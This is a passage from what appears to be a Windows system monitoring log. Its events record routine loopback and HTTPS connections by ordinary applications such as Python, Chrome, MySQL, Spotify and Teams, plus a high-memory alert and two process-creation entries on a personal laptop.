# sysmon_events

event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49684 -> 127.0.0.1:49683
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49684 -> 127.0.0.1:49683", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:49684", "remote_address": "127.0.0.1:49683", "status": "ESTABLISHED", "pid": 6476, "process_name": "mysqld.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:50247 -> 127.0.0.1:50248
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:50247 -> 127.0.0.1:50248", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:50247", "remote_address": "127.0.0.1:50248", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:59924 -> 127.0.0.1:64528
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:59924 -> 127.0.0.1:64528", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:59924", "remote_address": "127.0.0.1:64528", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62924 -> 127.0.0.1:53893
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62924 -> 127.0.0.1:53893", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:62924", "remote_address": "127.0.0.1:53893", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:65424
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:65424", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:52727", "remote_address": "127.0.0.1:65424", "status": "ESTABLISHED", "pid": 3140, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49714 -> 127.0.0.1:49713
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49714 -> 127.0.0.1:49713", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:49714", "remote_address": "127.0.0.1:49713", "status": "ESTABLISHED", "pid": 1460, "process_name": "WUDFHost.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53893 -> 127.0.0.1:62924
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53893 -> 127.0.0.1:62924", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:53893", "remote_address": "127.0.0.1:62924", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:62871 -> ::1:5173
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:62871 -> ::1:5173", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "::1:62871", "remote_address": "::1:5173", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:50251 -> 127.0.0.1:50250
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:50251 -> 127.0.0.1:50250", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:50251", "remote_address": "127.0.0.1:50250", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54604 -> 52.0.252.2:443
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54604 -> 52.0.252.2:443", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "192.168.150.35:54604", "remote_address": "52.0.252.2:443", "status": "ESTABLISHED", "pid": 6396, "process_name": "Viber.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62925 -> 127.0.0.1:49255
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62925 -> 127.0.0.1:49255", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:62925", "remote_address": "127.0.0.1:49255", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56241 -> 127.0.0.1:55889
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56241 -> 127.0.0.1:55889", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:56241", "remote_address": "127.0.0.1:55889", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53826 -> 127.0.0.1:53825
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53826 -> 127.0.0.1:53825", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:53826", "remote_address": "127.0.0.1:53825", "status": "ESTABLISHED", "pid": 8516, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56312 -> 127.0.0.1:52664
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56312 -> 127.0.0.1:52664", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:56312", "remote_address": "127.0.0.1:52664", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62352 -> 127.0.0.1:62351
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62352 -> 127.0.0.1:62351", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:62352", "remote_address": "127.0.0.1:62351", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49718 -> 127.0.0.1:49717
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49718 -> 127.0.0.1:49717", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:49718", "remote_address": "127.0.0.1:49717", "status": "ESTABLISHED", "pid": 4956, "process_name": "ipfsvc.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:51817 -> 35.186.224.33:443
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:51817 -> 35.186.224.33:443", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "192.168.150.35:51817", "remote_address": "35.186.224.33:443", "status": "ESTABLISHED", "pid": 29992, "process_name": "Spotify.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58879 -> 127.0.0.1:60387
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58879 -> 127.0.0.1:60387", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:58879", "remote_address": "127.0.0.1:60387", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:10000 -> 127.0.0.1:57147
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:10000 -> 127.0.0.1:57147", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:10000", "remote_address": "127.0.0.1:57147", "status": "ESTABLISHED", "pid": 29180, "process_name": "gpx_infinity_windows_amd64.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:64532 -> 127.0.0.1:64531
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:64532 -> 127.0.0.1:64531", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:64532", "remote_address": "127.0.0.1:64531", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:63545 -> 127.0.0.1:63547
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:63545 -> 127.0.0.1:63547", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:63545", "remote_address": "127.0.0.1:63547", "status": "ESTABLISHED", "pid": 14264, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:57147 -> 127.0.0.1:10000
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:57147 -> 127.0.0.1:10000", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:57147", "remote_address": "127.0.0.1:10000", "status": "ESTABLISHED", "pid": 1772, "process_name": "grafana.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62348 -> 127.0.0.1:62349
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62348 -> 127.0.0.1:62349", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:62348", "remote_address": "127.0.0.1:62349", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56313 -> 127.0.0.1:52668
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56313 -> 127.0.0.1:52668", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:56313", "remote_address": "127.0.0.1:52668", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58690 -> 127.0.0.1:55885
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58690 -> 127.0.0.1:55885", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:58690", "remote_address": "127.0.0.1:55885", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65425 -> 127.0.0.1:52730
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65425 -> 127.0.0.1:52730", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:65425", "remote_address": "127.0.0.1:52730", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56314 -> 127.0.0.1:52666
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56314 -> 127.0.0.1:52666", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:56314", "remote_address": "127.0.0.1:52666", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:61827 -> ::1:3000
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:61827 -> ::1:3000", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "::1:61827", "remote_address": "::1:3000", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65013 -> 127.0.0.1:65018
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65013 -> 127.0.0.1:65018", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:65013", "remote_address": "127.0.0.1:65018", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:64364 -> ::1:3000
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:64364 -> ::1:3000", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "::1:64364", "remote_address": "::1:3000", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:63748 -> 52.123.135.6:443
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:63748 -> 52.123.135.6:443", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "192.168.150.35:63748", "remote_address": "52.123.135.6:443", "status": "ESTABLISHED", "pid": 16240, "process_name": "ms-teams.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:50263 -> 52.123.129.14:443
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:50263 -> 52.123.129.14:443", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "192.168.150.35:50263", "remote_address": "52.123.129.14:443", "status": "ESTABLISHED", "pid": 11064, "process_name": "msedgewebview2.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:65014 -> 127.0.0.1:54964
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:65014 -> 127.0.0.1:54964", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:65014", "remote_address": "127.0.0.1:54964", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:55889 -> 127.0.0.1:55890
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:55889 -> 127.0.0.1:55890", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:55889", "remote_address": "127.0.0.1:55890", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62930 -> 127.0.0.1:62928
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62930 -> 127.0.0.1:62928", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:62930", "remote_address": "127.0.0.1:62928", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:51772 -> 127.0.0.1:57309
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:51772 -> 127.0.0.1:57309", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:51772", "remote_address": "127.0.0.1:57309", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62931 -> 127.0.0.1:62925
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62931 -> 127.0.0.1:62925", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:62931", "remote_address": "127.0.0.1:62925", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54407 -> 23.13.53.187:443
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54407 -> 23.13.53.187:443", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "192.168.150.35:54407", "remote_address": "23.13.53.187:443", "status": "ESTABLISHED", "pid": 8544, "process_name": "EABackgroundService.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56304 -> 127.0.0.1:56305
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56304 -> 127.0.0.1:56305", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:56304", "remote_address": "127.0.0.1:56305", "status": "ESTABLISHED", "pid": 22304, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:51246 -> 142.250.184.131:443
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:51246 -> 142.250.184.131:443", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "192.168.150.35:51246", "remote_address": "142.250.184.131:443", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56240 -> 127.0.0.1:55885
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56240 -> 127.0.0.1:55885", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:56240", "remote_address": "127.0.0.1:55885", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:58693 -> 127.0.0.1:58694
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:58693 -> 127.0.0.1:58694", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:58693", "remote_address": "127.0.0.1:58694", "status": "ESTABLISHED", "pid": 20040, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:57310 -> 127.0.0.1:57309
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:57310 -> 127.0.0.1:57309", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:57310", "remote_address": "127.0.0.1:57309", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:5173 -> ::1:62871
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:5173 -> ::1:62871", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "::1:5173", "remote_address": "::1:62871", "status": "ESTABLISHED", "pid": 22264, "process_name": "node.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53894 -> 127.0.0.1:53895
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53894 -> 127.0.0.1:53895", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:53894", "remote_address": "127.0.0.1:53895", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:51766 -> 127.0.0.1:51765
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:51766 -> 127.0.0.1:51765", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:51766", "remote_address": "127.0.0.1:51765", "status": "ESTABLISHED", "pid": 11604, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:52730 -> 127.0.0.1:65425
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:52730 -> 127.0.0.1:65425", "timestamp": "2026-01-24T14:26:46.355697", "local_address": "127.0.0.1:52730", "remote_address": "127.0.0.1:65425", "status": "ESTABLISHED", "pid": 3140, "process_name": "python.exe"}


event_id: PERF_HIGH_RAM
event_type: High Memory Usage
message: High RAM usage: 90.2%
timestamp: 2026-01-24T14:26:46.355697
details:
  {"event_id": "PERF_HIGH_RAM", "event_type": "High Memory Usage", "message": "High RAM usage: 90.2%", "timestamp": "2026-01-24T14:26:46.355697", "ram_percent": 90.2}


event_type: Process Creation
message: Process created: ShellHost.exe (PID: 29128, User: ILINA-LAPTOP\Ilina)
timestamp: 2026-01-24T14:27:03.588701
details:
  {"event_id": 1, "event_type": "Process Creation", "message": "Process created: ShellHost.exe (PID: 29128, User: ILINA-LAPTOP\\Ilina)", "timestamp": "2026-01-24T14:27:03.588701", "process_name": "ShellHost.exe", "pid": 29128, "user": "ILINA-LAPTOP\\Ilina"}


event_type: Process Creation
message: Process created: WmiPrvSE.exe (PID: 31580, User: None)
timestamp: 2026-01-24T14:27:00.663144
details:
  {"event_id": 1, "event_type": "Process Creation", "message": "Process created: WmiPrvSE.exe (PID: 31580, User: None)", "timestamp": "2026-01-24T14:27:00.663144", "process_name": "WmiPrvSE.exe", "pid": 31580, "user": null}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:51769 -> 127.0.0.1:51768
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:51769 -> 127.0.0.1:51768", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:51769", "remote_address": "127.0.0.1:51768", "status": "ESTABLISHED", "pid": 11604, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54995 -> 35.186.224.26:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54995 -> 35.186.224.26:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:54995", "remote_address": "35.186.224.26:443", "status": "ESTABLISHED", "pid": 29992, "process_name": "Spotify.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:58882
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:58882", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:52727", "remote_address": "127.0.0.1:58882", "status": "ESTABLISHED", "pid": 3140, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49684 -> 127.0.0.1:49683
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49684 -> 127.0.0.1:49683", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:49684", "remote_address": "127.0.0.1:49683", "status": "ESTABLISHED", "pid": 6476, "process_name": "mysqld.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:50247 -> 127.0.0.1:50248
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:50247 -> 127.0.0.1:50248", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:50247", "remote_address": "127.0.0.1:50248", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:59924 -> 127.0.0.1:64528
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:59924 -> 127.0.0.1:64528", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:59924", "remote_address": "127.0.0.1:64528", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62924 -> 127.0.0.1:53893
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62924 -> 127.0.0.1:53893", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:62924", "remote_address": "127.0.0.1:53893", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:65424
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:52727 -> 127.0.0.1:65424", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:52727", "remote_address": "127.0.0.1:65424", "status": "ESTABLISHED", "pid": 3140, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:49714 -> 127.0.0.1:49713
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:49714 -> 127.0.0.1:49713", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:49714", "remote_address": "127.0.0.1:49713", "status": "ESTABLISHED", "pid": 1460, "process_name": "WUDFHost.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53893 -> 127.0.0.1:62924
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53893 -> 127.0.0.1:62924", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:53893", "remote_address": "127.0.0.1:62924", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: ::1:62871 -> ::1:5173
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: ::1:62871 -> ::1:5173", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "::1:62871", "remote_address": "::1:5173", "status": "ESTABLISHED", "pid": 19656, "process_name": "chrome.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:50251 -> 127.0.0.1:50250
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:50251 -> 127.0.0.1:50250", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:50251", "remote_address": "127.0.0.1:50250", "status": "ESTABLISHED", "pid": 16956, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 192.168.150.35:54604 -> 52.0.252.2:443
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 192.168.150.35:54604 -> 52.0.252.2:443", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "192.168.150.35:54604", "remote_address": "52.0.252.2:443", "status": "ESTABLISHED", "pid": 6396, "process_name": "Viber.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:62925 -> 127.0.0.1:49255
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:62925 -> 127.0.0.1:49255", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:62925", "remote_address": "127.0.0.1:49255", "status": "ESTABLISHED", "pid": 9024, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56241 -> 127.0.0.1:55889
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:56241 -> 127.0.0.1:55889", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:56241", "remote_address": "127.0.0.1:55889", "status": "ESTABLISHED", "pid": 1096, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:53826 -> 127.0.0.1:53825
timestamp: 2026-01-24T14:27:25.997152
details:
  {"event_id": 3, "event_type": "Network Connection", "message": "Network ESTABLISHED: 127.0.0.1:53826 -> 127.0.0.1:53825", "timestamp": "2026-01-24T14:27:25.997152", "local_address": "127.0.0.1:53826", "remote_address": "127.0.0.1:53825", "status": "ESTABLISHED", "pid": 8516, "process_name": "python.exe"}


event_type: Network Connection
message: Network ESTABLISHED: 127.0.0.1:56312 -> 127.0.0.1:52664
timestamp: 2026-01-24T14:27:25.997152
details:
